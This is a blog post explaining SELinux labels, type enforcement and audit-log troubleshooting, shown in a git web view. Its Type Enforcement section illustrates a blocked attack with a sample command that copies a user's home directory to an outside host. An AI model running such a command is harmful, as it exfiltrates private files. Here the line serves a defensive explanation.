summaryrefslogtreecommitdiff
path: root/_posts/2021-09-07-Demystifying-SELinux.md
blob: eee52cbc59e73fd31d2f6d630a3a0f6b82b27e43 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
---
layout: post
title: Demystifying SELinux
---

I think a lot of people involved in the Linux space, both devs and regular
users, have a hard time with SELinux. Just last week I was showing some of my
personal server's security to a colleague and I could see the look of sheer
"This is above my pay-grade" all over his face.

### Yes it's an NSA thing

Before we go further, I have to answer one question: yes, it was developed by
the NSA. As most security researchers and other people "in the know" have
pointed out, [the NSA cannot be trusted with most things](https://www.eff.org/deeplinks/2012/07/why-nsa-cant-be-trusted-run-us-cybersecurity-programs).
But this is one of several notable exceptions to that rule, and even Linus has
defended them on this one.

### Security Labels

SELinux works by attaching "security labels" to files and directories on the
file system as metadata. For instance doing a `ls -lZ` command on my web server
home directory looks like this

        # ls -lZ /var/www/*
        drwxr-xr-x. 4 git  www-data system_u:object_r:httpd_sys_content_t:s0      4096 Nov 17  2020 2020
        -rw-r--r--. 1 git  www-data system_u:object_r:httpd_sys_content_t:s0      1654 Apr  6 14:52 404.html
        -rw-r--r--. 1 git  www-data system_u:object_r:httpd_sys_content_t:s0      2779 Apr  6 14:52 about.html
        drwxr-xr-x. 6 git  www-data system_u:object_r:httpd_sys_content_t:s0      4096 Apr  6 14:52 assets
        -rw-r--r--. 1 git  www-data system_u:object_r:httpd_sys_content_t:s0     20564 Apr  6 14:52 feed.xml
        -rw-r--r--. 1 git  www-data system_u:object_r:httpd_sys_content_t:s0      2622 Apr  6 14:52 index.html
        -rw-r--r--. 1 root root     unconfined_u:object_r:httpd_sys_content_t:s0   612 Jun 24 14:44 index.nginx-debian.html
        drwxr-xr-x. 3 git  www-data system_u:object_r:httpd_sys_content_t:s0      4096 Apr  8  2020 oss
        -rw-r--r--. 1 git  www-data system_u:object_r:httpd_sys_content_t:s0      1890 Apr  6 14:52 projects.html

As you can see, the security context is a colon-delimited list. The `system_u`,
`object_r`, and `s0` parts aren't used in the targeted policy (which I use).
Those are used in the multi-level security (MLS) policy, and it adds much more
complexity than is required for most use cases. For the target policy only the
"type" portion is ever used.

These labels are attached to the file system on initial setup of SELinux by
running `touch /.autorelabel` and making sure `security=selinux selinux=1` is
appended to the kernel command line, see your bootloader documentation for that.
You can change them either rerunning that command and rebooting or by using the
`restorecon` or `chcon` commands, see the relevant manpage for details.

### Type Enforcement

This is where most people *really* start to get confused. On every access of
any file in the file system, the kernel *still* checks UNIX permissions, i.e.
the `rwx` bits in the file metadata. If the permission bits don't allow
something, SELinux won't allow it either. Not very interesting, right? The
interesting part begins when a user, `alice` has some data that might be
classified or read-only and decides, maybe out of frustration, to `chmod 777`
her entire home directory. Most Linux and Unix heads are probably exploding upon
reading that, but this where SELinux can really save your bacon. Because when
a system process has a vulnerability that allows arbitrary code execution and
tries to run a shell command such as:

        $ scp -r ~alice www.data-hack.net
        cp: cannot stat '/home/alice': Permission denied

This is due to the kernel detecting a type mismatch, i.e. it detects the
process running with `httpd_t` cannot access files with the type `user_home_t`.

In addition, all of these errors are logged by the audit daemon, `auditd` and
placed in `/var/log/audit/audit.log` for you to examine later.

### Fixing Errors

The first step to take when fixing a permission error, and you *know* the
permission bits are set correctly, is to check the audit logs with the command
`ausearch -c <command_name> | audit2why`. This command string searches the audit
logs for the command `<command_name>` and feeds the results into `audit2why`
which translates them into a more human readable format. This command will tell
you exactly what to do to fix the error, whether it be `setsebool -P <bool_name>`
or `ausearch -c <command_name> | audit2allow -M <command_name>Local`.